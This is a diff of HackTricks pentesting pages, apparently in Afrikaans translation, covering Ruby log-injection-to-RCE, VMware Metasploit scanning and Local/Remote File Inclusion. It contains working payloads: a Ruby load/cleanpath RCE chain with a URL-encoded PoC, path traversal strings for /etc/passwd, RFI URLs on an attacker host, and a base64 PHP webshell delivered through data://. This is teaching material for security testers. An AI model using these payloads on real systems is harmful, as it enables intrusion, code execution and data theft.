- Ouer apps mag AES-256-CBC en soute `encrypted cookie` / `signed encrypted cookie` gebruik, of JSON/Marshal serializers. Pas soute, cipher, en serializer ooreenkomstig aan.
|
||||||
- By kompromittering of assessering, roteer `secret_key_base` om alle bestaande cookies ongeldig te maak.
|
- By kompromittering of assessering, roteer `secret_key_base` om alle bestaande cookies ongeldig te maak.
|
||||||
|
|
||||||
## Sien ook (Ruby/Rails-spesifieke kwetsbaarhede)
|
## Sien ook (Ruby/Rails-spesifieke kwesbaarhede)
|
||||||
|
|
||||||
- Ruby deserialization and class pollution:
|
- Ruby deserialisering en klassebesoedeling:
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../pentesting-web/deserialization/README.md
|
../../pentesting-web/deserialization/README.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
@ -86,15 +86,89 @@ Aantekeninge:
|
|||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../pentesting-web/deserialization/ruby-_json-pollution.md
|
../../pentesting-web/deserialization/ruby-_json-pollution.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
|
- Sjabloon-inspuiting in Ruby engines (ERB/Haml/Slim, ens.):
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../pentesting-web/ssti-server-side-template-injection/README.md
|
../../pentesting-web/ssti-server-side-template-injection/README.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
|
|
||||||
|
## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smokkeling
|
||||||
|
|
||||||
## Verwysings
|
Wanneer 'n app (dikwels 'n eenvoudige Rack/Sinatra/Rails-endpoint) beide:
|
||||||
|
- log 'n string wat deur die gebruiker beheer word woordeliks, en
|
||||||
|
- later `load` 'n lêer waarvan die pad afgelei is van dieselfde string (na `Pathname#cleanpath`),
|
||||||
|
|
||||||
|
kan jy dikwels afgeleë kode-uitvoering bereik deur die log te vergiftig en dan die app te dwing om die log-lêer te `load`. Sleutel-primitiewe:
|
||||||
|
|
||||||
|
- Ruby `load` evalueer die teikenslêer se inhoud as Ruby ongeag die lêeruitbreiding. Enige leesbare tekslêer waarvan die inhoud as Ruby gepars kan word, sal uitgevoer word.
|
||||||
|
- `Pathname#cleanpath` vou `.` en `..` segmente saam sonder om die filesystem te tref, wat pad-smokkeling moontlik maak: deur aanvaller beheerde rommel kan voorafgeplak word vir logging terwyl die gesuiwerde pad steeds na die beoogde lêer oplos om uitgevoer te word (bv. `../logs/error.log`).
|
||||||
|
|
||||||
|
### Minimale kwesbare patroon
|
||||||
|
```ruby
|
||||||
|
require 'logger'
|
||||||
|
require 'pathname'
|
||||||
|
|
||||||
|
logger = Logger.new('logs/error.log')
|
||||||
|
param = CGI.unescape(params[:script])
|
||||||
|
path_obj = Pathname.new(param)
|
||||||
|
|
||||||
|
logger.info("Running backup script #{param}") # Raw log of user input
|
||||||
|
load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
|
||||||
|
```
|
||||||
|
### Waarom die log geldige Ruby kan bevat
|
||||||
|
`Logger` skryf voorvoegselreëls soos:
|
||||||
|
```
|
||||||
|
I, [9/2/2025 #209384] INFO -- : Running backup script <USER_INPUT>
|
||||||
|
```
|
||||||
|
In Ruby begin `#` 'n kommentaar, en `9/2/2025` is net rekenkunde. Om geldige Ruby-kode te inject, moet jy:
|
||||||
|
- Begin jou payload op 'n nuwe reël sodat dit nie deur die `#` in die INFO line uitgekommenteer word nie; stuur 'n voorloop-nuwe reël (`\n` of `%0A`).
|
||||||
|
- Sluit die hangende `[` wat deur die INFO line geïntroduseer is. 'n Algemene truuk is om te begin met `]` en opsioneel die parser gelukkig te maak met `][0]=1`.
|
||||||
|
- Plaas dan arbitrêre Ruby (bv. `system(...)`).
|
||||||
|
|
||||||
|
Voorbeeld van wat in die log sal beland na een request met 'n crafted param:
|
||||||
|
```
|
||||||
|
I, [9/2/2025 #209384] INFO -- : Running backup script
|
||||||
|
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
|
||||||
|
```
|
||||||
|
### Smuggling 'n enkele string wat beide kode log en na die log-pad oplos
|
||||||
|
Ons wil een aanvaller-beheerde string hê wat:
|
||||||
|
- wanneer dit rou gelog word, bevat dit ons Ruby payload, en
|
||||||
|
- wanneer dit deur `Pathname.new(<input>).cleanpath` gegee word, oplos na `../logs/error.log` sodat die daaropvolgende `load` die pas-vergiftigde loglêer uitvoer.
|
||||||
|
|
||||||
|
`Pathname#cleanpath` ignoreer skemas en vou traverseringskomponente saam, dus werk die volgende:
|
||||||
|
```ruby
|
||||||
|
require 'pathname'
|
||||||
|
|
||||||
|
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
|
||||||
|
puts p.cleanpath # => ../logs/error.log
|
||||||
|
```
|
||||||
|
- Die `#` voor `://` verseker dat Ruby die staart negeer wanneer die log uitgevoer word, terwyl `cleanpath` steeds die agtervoegsel verminder na `../logs/error.log`.
|
||||||
|
- Die voorste newline breek uit die INFO-lyn; `]` sluit die hangende hakie; `][0]=1` voldoen aan die parser.
|
||||||
|
|
||||||
|
### End-to-end exploitation
|
||||||
|
1. Stuur die volgende as die backup script-naam (URL-encode die eerste newline as `%0A` indien nodig):
|
||||||
|
```
|
||||||
|
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
|
||||||
|
```
|
||||||
|
2. Die app log jou rou string in `logs/error.log`.
|
||||||
|
3. Die app bereken `cleanpath` wat oplos na `../logs/error.log` en roep `load` daarop aan.
|
||||||
|
4. Ruby voer die kode wat jy in die log ingespuit het uit.
|
||||||
|
|
||||||
|
To exfiltrate a file in a CTF-like environment:
|
||||||
|
```
|
||||||
|
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
|
||||||
|
```
|
||||||
|
URL-encoded PoC (eerste char is 'n newline):
|
||||||
|
```
|
||||||
|
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
|
||||||
|
```
|
||||||
|
## References
|
||||||
|
|
||||||
|
- Rails Sekuriteitsaankondiging: CVE-2025-24293 Active Storage onveilige transformasiemetodes (hersteld in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
|
||||||
|
- GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
|
||||||
|
- [Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-44)
|
||||||
|
- [Ruby Pathname.cleanpath docs](https://docs.ruby-lang.org/en/3.4/Pathname.html#method-i-cleanpath)
|
||||||
|
- [Ruby Logger](https://ruby-doc.org/stdlib-2.5.1/libdoc/logger/rdoc/Logger.html)
|
||||||
|
- [How Ruby load works](https://blog.appsignal.com/2023/04/19/how-to-load-code-in-ruby.html)
|
||||||
|
|
||||||
- Rails Sekuriteitsaankondiging: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
|
|
||||||
- GitHub-advies: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -13,12 +13,11 @@ msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
|
|||||||
```bash
|
```bash
|
||||||
msf> auxiliary/scanner/vmware/vmware_http_login
|
msf> auxiliary/scanner/vmware/vmware_http_login
|
||||||
```
|
```
|
||||||
As jy valid credentials vind, kan jy meer metasploit scanner modules gebruik om inligting te verkry.
|
As jy geldige credentials vind, kan jy meer metasploit scanner modules gebruik om inligting te verkry.
|
||||||
|
|
||||||
|
|
||||||
### Sien ook
|
### Sien ook
|
||||||
|
|
||||||
Linux LPE via VMware Tools diensontdekking (CWE-426 / CVE-2025-41244):
|
Linux LPE deur VMware Tools diensontdekking (CWE-426 / CVE-2025-41244):
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
|
../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
|
||||||
|
@ -4,50 +4,50 @@
|
|||||||
|
|
||||||
## File Inclusion
|
## File Inclusion
|
||||||
|
|
||||||
**Remote File Inclusion (RFI):** Die lêer word vanaf 'n afgeleë bediener gelaai (Beste: Jy kan die kode skryf en die bediener sal dit uitvoer). In php is dit **ongeskakel** by verstek (**allow_url_include**).\
|
**Remote File Inclusion (RFI):** Die lêer word vanaf 'n afgeleë server gelaai (Beste: Jy kan die kode skryf en die server sal dit uitvoer). In php is dit **ongeskakel** per verstek (**allow_url_include**).\
|
||||||
**Local File Inclusion (LFI):** Die bediener laai 'n plaaslike lêer.
|
**Local File Inclusion (LFI):** Die server laai 'n plaaslike lêer.
|
||||||
|
|
||||||
Die kwesbaarheid ontstaan wanneer die gebruiker op een of ander manier die lêer kan beheer wat deur die bediener gelaai gaan word.
|
Die kwesbaarheid ontstaan wanneer die gebruiker op een of ander manier die lêer kan beheer wat deur die server gelaai gaan word.
|
||||||
|
|
||||||
Kwetsbare **PHP functions**: require, require_once, include, include_once
|
Kwetsbare **PHP functions**: require, require_once, include, include_once
|
||||||
|
|
||||||
'n Interessante hulpmiddel om hierdie kwesbaarheid te misbruik: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
'n Interessante hulpmiddel om hierdie kwesbaarheid uit te buit: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||||
|
|
||||||
## Blind - Interessant - LFI2RCE lêers
|
## Blind - Interesting - LFI2RCE files
|
||||||
```python
|
```python
|
||||||
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
|
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
|
||||||
```
|
```
|
||||||
### **Linux**
|
### **Linux**
|
||||||
|
|
||||||
**Deur verskeie *nix LFI-lysies te meng en meer paaie by te voeg het ek hierdie een geskep:**
|
**Deur verskeie \*nix LFI-lyste te kombineer en meer paadjies by te voeg het ek hierdie een geskep:**
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
Probeer ook om `/` met `\` te vervang.
|
Probeer ook om `/` na `\` te verander\
|
||||||
Probeer ook om `../../../../../` by te voeg.
|
Probeer ook om `../../../../../` by te voeg
|
||||||
|
|
||||||
A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
'n Lys wat verskeie tegnieke gebruik om die lêer /etc/password te vind (om te kontroleer of die kwesbaarheid bestaan) kan gevind word [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||||
|
|
||||||
### **Windows**
|
### **Windows**
|
||||||
|
|
||||||
Samevoeging van verskillende wordlists:
|
Samevoeging van verskillende woordlyste:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
Probeer ook om `/` met `\` te vervang.
|
Probeer ook om `/` na `\` te verander\
|
||||||
Probeer ook om `C:/` te verwyder en `../../../../../` by te voeg.
|
Probeer ook om `C:/` te verwyder en `../../../../../` by te voeg
|
||||||
|
|
||||||
A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
'n Lys wat verskeie tegnieke gebruik om die lêer /boot.ini te vind (om te kontroleer of die kwesbaarheid bestaan) kan gevind word [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||||
|
|
||||||
### **OS X**
|
### **OS X**
|
||||||
|
|
||||||
Kyk na die LFI-lys van linux.
|
Kyk na die LFI-lys van Linux.
|
||||||
|
|
||||||
## Basiese LFI en omseilings
|
## Basiese LFI en omseilings
|
||||||
|
|
||||||
@ -55,7 +55,7 @@ Al die voorbeelde is vir Local File Inclusion maar kan ook op Remote File Inclus
|
|||||||
```
|
```
|
||||||
http://example.com/index.php?page=../../../etc/passwd
|
http://example.com/index.php?page=../../../etc/passwd
|
||||||
```
|
```
|
||||||
### traversal sequences nie-rekursief verwyder
|
### traversal sequences geskrap nie-rekursief
|
||||||
```python
|
```python
|
||||||
http://example.com/index.php?page=....//....//....//etc/passwd
|
http://example.com/index.php?page=....//....//....//etc/passwd
|
||||||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||||||
@ -63,7 +63,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
|||||||
```
|
```
|
||||||
### **Null byte (%00)**
|
### **Null byte (%00)**
|
||||||
|
|
||||||
Bypass die byvoeging van ekstra karakters aan die einde van die gegewe string (bypass of: $\_GET\['param']."php")
|
Om die byvoeging van ekstra karakters aan die einde van die gegewe string te omseil (omseiling van: $\_GET\['param']."php")
|
||||||
```
|
```
|
||||||
http://example.com/index.php?page=../../../etc/passwd%00
|
http://example.com/index.php?page=../../../etc/passwd%00
|
||||||
```
|
```
|
||||||
@ -78,44 +78,44 @@ http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
|||||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
||||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||||||
```
|
```
|
||||||
### Vanaf bestaande vouer
|
### Van bestaande gids
|
||||||
|
|
||||||
Miskien kontroleer die back-end die vouerpad:
|
Miskien kontroleer die back-end die gids-pad:
|
||||||
```python
|
```python
|
||||||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||||
```
|
```
|
||||||
### Verken lêerstelsel-direktore op 'n bediener
|
### Verken lêerstelsel-gidse op 'n bediener
|
||||||
|
|
||||||
Die lêerstelsel van 'n bediener kan rekursief verken word om direktore, nie net lêers nie, te identifiseer deur sekere tegnieke toe te pas. Hierdie proses behels die bepaling van die direktorie-diepte en die peiling vir die bestaan van spesifieke gidse. Hieronder is 'n gedetailleerde metode om dit te bereik:
|
Die lêerstelsel van 'n bediener kan rekursief verken word om gidses, nie net lêers, te identifiseer deur sekere tegnieke te gebruik. Hierdie proses behels die bepaling van die gidsdiepte en die ondersoek na die bestaan van spesifieke vouers. Hieronder is 'n gedetailleerde metode om dit te bereik:
|
||||||
|
|
||||||
1. **Bepaal direktorie-diepte:** Bepaal die diepte van jou huidige direktorie deur suksesvol die `/etc/passwd`-lêer te haal (van toepassing as die bediener op Linux gebaseer is). 'n Voorbeeld-URL kan soos volg gestruktureer wees, wat 'n diepte van drie aandui:
|
1. **Bepaal die gidsdiepte:** Bepaal die diepte van jou huidige gids deur suksesvol die `/etc/passwd`-lêer te haal (van toepassing as die bediener op Linux gebaseer is). 'n Voorbeeld-URL kan soos volg gestruktureer wees, wat 'n diepte van drie aandui:
|
||||||
```bash
|
```bash
|
||||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||||
```
|
```
|
||||||
2. **Ondersoek vouers:** Voeg die naam van die vermoedelike gids (bv., `private`) by die URL, en navigeer dan terug na `/etc/passwd`. Die ekstra gidsvlak vereis dat die diepte met een verhoog word:
|
2. **Soek na vouers:** Voeg die naam van die vermoedlike gids (bv. `private`) by die URL en navigeer dan terug na `/etc/passwd`. Die ekstra gidsvlak vereis dat die diepte met een verhoog:
|
||||||
```bash
|
```bash
|
||||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||||
```
|
```
|
||||||
3. **Interpreteer die Resultate:** Die bediener se reaksie dui aan of die gids bestaan:
|
3. **Interpreteer die Uitkomste:** Die server se reaksie dui aan of die gids bestaan:
|
||||||
- **Fout / Geen Uitset:** Die gids `private` bestaan waarskynlik nie op die gespesifiseerde ligging nie.
|
- **Fout / Geen Uitset:** Die gids `private` bestaan waarskynlik nie by die gespesifiseerde ligging nie.
|
||||||
- **Inhoud van `/etc/passwd`:** Die teenwoordigheid van die gids `private` is bevestig.
|
- **Inhoud van `/etc/passwd`:** Die teenwoordigheid van die `private` gids is bevestig.
|
||||||
4. **Rekursiewe Verkenning:** Ontdekte gidse kan verder probeer word vir subgidse of lêers deur dieselfde tegniek of tradisionele Local File Inclusion (LFI)-metodes te gebruik.
|
4. **Rekursiewe Verkenning:** Ontdekte gidse kan verder ondersoek word vir subgidse of lêers met dieselfde tegniek of tradisionele Local File Inclusion (LFI)-metodes.
|
||||||
|
|
||||||
Om gidse op verskillende plekke in die lêerstelsel te verken, pas die payload ooreenkomstig aan. Byvoorbeeld, om te kontroleer of `/var/www/` `private` bevat (aangenome dat die huidige gids op 'n diepte van 3 is), gebruik:
|
Om gidse in ander plekke van die lêerstelsel te verken, pas die payload dienooreenkomstig aan. Byvoorbeeld, om te kontroleer of `/var/www/` `n `private` gids bevat (aannemend die huidige gids is op 'n diepte van 3), gebruik:
|
||||||
```bash
|
```bash
|
||||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||||
```
|
```
|
||||||
### **Path Truncation Technique**
|
### **Path Truncation Technique**
|
||||||
|
|
||||||
Path truncation is 'n metode wat gebruik word om lêerpaaie in webtoepassings te manipuleer. Dit word dikwels gebruik om toegang tot beperkte lêers te kry deur sekere sekuriteitsmaatreëls wat ekstra karakters aan die einde van lêerpaaie toevoeg, te omseil. Die doel is om 'n lêerpad te skep wat, nadat dit deur die sekuriteitsmaatreël verander is, steeds na die beoogde lêer wys.
|
Path truncation is 'n metode wat gebruik word om lêerpaaie in webtoepassings te manipuleer. Dit word dikwels gebruik om beperkte lêers te bereik deur sekere sekuriteitsmaatreëls te omseil wat ekstra karakters aan die einde van lêerpaaie heg. Die doel is om 'n lêerpad te skep wat, nadat dit deur die sekuriteitsmaatreël verander is, steeds na die gewenste lêer wys.
|
||||||
|
|
||||||
In PHP kan verskeie voorstellings van 'n lêerpad as ekwivalent beskou word weens die aard van die lêerstelsel. Byvoorbeeld:
|
In PHP kan verskeie voorstellings van 'n lêerpad as ekwivalent beskou word weens die aard van die lêerstelsel. Byvoorbeeld:
|
||||||
|
|
||||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` word almal as dieselfde pad beskou.
|
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, en `/etc/passwd/` word almal as dieselfde pad behandel.
|
||||||
- Wanneer die laaste 6 karakters `passwd` is, verander die toevoeging van 'n `/` (waardeur dit `passwd/` word) nie die geteikende lêer nie.
|
- Wanneer die laaste 6 karakters `passwd` is, verander die toevoeging van 'n `/` (waardeur dit `passwd/` word) nie die geteikende lêer nie.
|
||||||
- Net so, as `.php` bygevoeg word by 'n lêerpad (soos `shellcode.php`), sal die byvoeging van `/.` aan die einde nie die toegang tot die lêer verander nie.
|
- Net so, as `.php` aan 'n lêerpad aangeheg word (bv. `shellcode.php`), sal die toevoeging van `/.` aan die einde nie die lêer wat bereik word verander nie.
|
||||||
|
|
||||||
Die onderstaande voorbeelde demonstreer hoe om path truncation te gebruik om toegang tot `/etc/passwd` te kry, 'n algemene teiken weens die sensitiewe inhoud daarvan (gebruikersrekeninginligting):
|
Die gegewe voorbeelde wys hoe om path truncation te gebruik om toegang tot `/etc/passwd` te kry, 'n algemene teiken weens die sensitiewe inhoud daarvan (gebruikersrekeninginligting):
|
||||||
```
|
```
|
||||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||||
@ -125,17 +125,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
|
|||||||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||||||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||||||
```
|
```
|
||||||
In hierdie scenario's kan die aantal traversals wat benodig word ongeveer 2027 wees, maar hierdie getal kan wissel op grond van die bediener se konfigurasie.
|
In hierdie scenario's kan die aantal traversals wat benodig word ongeveer 2027 wees, maar hierdie getal kan wissel afhangende van die server se konfigurasie.
|
||||||
|
|
||||||
- **Gebruik van dot-segmante en bykomende karakters**: Traversal sequences (`../`) in kombinasie met ekstra dot-segmante en karakters kan gebruik word om deur die lêerstelsel te navigeer, en effektief aangehegte stringe deur die bediener te ignoreer.
|
- **Using Dot Segments and Additional Characters**: Traversal-sekwensies (`../`) gekombineer met ekstra puntsegmente en karakters kan gebruik word om deur die lêerstelsel te navigeer, en daarmee aangehegte stringe deur die server effektief te ignoreer.
|
||||||
- **Bepaling van die vereiste aantal traversals**: Deur proef-en-fout kan mens die presiese aantal `../`-reekse vind wat nodig is om na die root-gids te navigeer en dan na `/etc/passwd`, en sodoende enige aangehegte stringe (soos `.php`) te neutraliseer terwyl die gewenste pad (`/etc/passwd`) ongeskonde bly.
|
- **Determining the Required Number of Traversals**: Deur proef en fout kan 'n mens die presiese aantal `../`-reekse vind wat benodig word om na die root-gids te navigeer en dan na `/etc/passwd`, en sodoende enige aangehegte stringe (soos `.php`) te neutraliseer terwyl die verlangde pad (`/etc/passwd`) ongeskonde bly.
|
||||||
- **Begin met 'n nie-bestaande gids**: Dit is 'n algemene praktyk om die pad te begin met 'n nie-bestaande gids (soos `a/`). Hierdie tegniek word as 'n voorsorgmaatreël gebruik of om die vereistes van die bediener se padparseringslogika te vervul.
|
- **Starting with a Fake Directory**: Dit is 'n algemene praktyk om die pad te begin met 'n nie-bestaande gids (soos `a/`). Hierdie tegniek word as 'n voorsorgmaatreël gebruik of om te voldoen aan die vereistes van die server se padparsingslogika.
|
||||||
|
|
||||||
Wanneer padtronkeringstegnieke gebruik word, is dit van kardinale belang om die bediener se padparseringsgedrag en lêerstelselstruktuur te verstaan. Elke scenario kan 'n verskillende benadering vereis, en toetsing is dikwels nodig om die mees doeltreffende metode te vind.
|
When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.
|
||||||
|
|
||||||
**Hierdie kwesbaarheid is in PHP 5.3 reggestel.**
|
**Hierdie kwesbaarheid is reggestel in PHP 5.3.**
|
||||||
|
|
||||||
### **Filter-omseilingstrieke**
|
### **Filter bypass tricks**
|
||||||
```
|
```
|
||||||
http://example.com/index.php?page=....//....//etc/passwd
|
http://example.com/index.php?page=....//....//etc/passwd
|
||||||
http://example.com/index.php?page=..///////..////..//////etc/passwd
|
http://example.com/index.php?page=..///////..////..//////etc/passwd
|
||||||
@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
|
|||||||
```
|
```
|
||||||
## Remote File Inclusion
|
## Remote File Inclusion
|
||||||
|
|
||||||
In php is dit standaard gedeaktiveer omdat **`allow_url_include`** op **Off** is. Dit moet op **On** wees om te werk, en in daardie geval kan jy 'n PHP-lêer van jou bediener insluit en RCE kry:
|
In php is dit standaard uitgeschakel omdat **`allow_url_include`** op **Off.** gestel is. Dit moet op **On** wees om te werk, en in daardie geval kan jy 'n PHP-lêer vanaf jou bediener insluit en RCE kry:
|
||||||
```python
|
```python
|
||||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||||
```
|
```
|
||||||
As daar om een of ander rede **`allow_url_include`** **On** is, maar PHP toegang tot eksterne webblaaie **filtreer**, [volgens hierdie post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), kan jy byvoorbeeld die data protocol met base64 gebruik om 'n b64 PHP code te decode en RCE te kry:
|
As om een of ander rede **`allow_url_include`** op **On** is, maar PHP is **filtering** toegang tot eksterne webblaaie, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), kan jy byvoorbeeld die data protocol met base64 gebruik om 'n b64 PHP-kode te decodeer en RCE te kry:
|
||||||
```
|
```
|
||||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||||
```
|
```
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> In die vorige kode is die finale `+.txt` bygevoeg omdat die attacker 'n string nodig gehad het wat op `.txt` eindig, so die string daarmee eindig en na die b64 decode sal daardie deel net rommel teruggee en die werklike PHP-kode ingesluit word (en dus uitgevoer).
|
> In die vorige kode is die finale `+.txt` bygevoeg omdat die aanvaller 'n string benodig het wat op `.txt` eindig, dus die string daarmee eindig en na die b64 decode sal daardie deel net rommel teruggee en die werklike PHP-kode ingesluit word (en gevolglik uitgevoer).
|
||||||
|
|
||||||
Nog 'n voorbeeld **wat nie die `php://` protokol gebruik nie** sou wees:
|
Nog 'n voorbeeld **wat nie die `php://` protocol gebruik nie** sou wees:
|
||||||
```
|
```
|
||||||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||||||
```
|
```
|
||||||
## Python Wortel-element
|
## Python Wortelelement
|
||||||
|
|
||||||
In Python, in 'n kode soos hierdie:
|
In python in 'n kode soos hierdie:
|
||||||
```python
|
```python
|
||||||
# file_name is controlled by a user
|
# file_name is controlled by a user
|
||||||
os.path.join(os.getcwd(), "public", file_name)
|
os.path.join(os.getcwd(), "public", file_name)
|
||||||
```
|
```
|
||||||
As die gebruiker 'n **absolute path** aan **`file_name`** deurgee, word die **vorige pad net verwyder**:
|
As die gebruiker 'n **absolute pad** aan **`file_name`** deurgee, word die **vorige pad net verwyder**:
|
||||||
```python
|
```python
|
||||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||||
'/etc/passwd'
|
'/etc/passwd'
|
||||||
```
|
```
|
||||||
Dit is die bedoelde gedrag volgens [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
Dit is die beoogde gedrag volgens [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||||
|
|
||||||
> As 'n komponent 'n absolute pad is, word alle vorige komponente weggegooi en gaan die samevoeging voort vanaf die absolute pad-komponent.
|
> If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.
|
||||||
|
|
||||||
## Java Lys van gidse
|
## Java - lys van gidse
|
||||||
|
|
||||||
Dit lyk of, as jy 'n Path Traversal in Java het en jy **vra vir 'n gids** in plaas van 'n lêer, 'n **lys van die gids teruggegee word**. Dit sal nie in ander tale gebeur nie (afaik).
|
Dit lyk asof as jy 'n Path Traversal in Java het en jy **vra vir 'n gids** in plaas van 'n lêer, 'n **lys van die gids teruggegee** word. Dit sal nie in ander tale gebeur nie (sover ek weet).
|
||||||
|
|
||||||
## Top 25 parameters
|
## Top 25 parameters
|
||||||
|
|
||||||
Hier is 'n lys van die Top 25 parameters wat kwesbaar kan wees vir local file inclusion (LFI) kwetsbaarhede (van [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
Hier is 'n lys van die Top 25 parameters wat vatbaar kan wees vir local file inclusion (LFI) kwesbaarhede (van [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||||
```
|
```
|
||||||
?cat={payload}
|
?cat={payload}
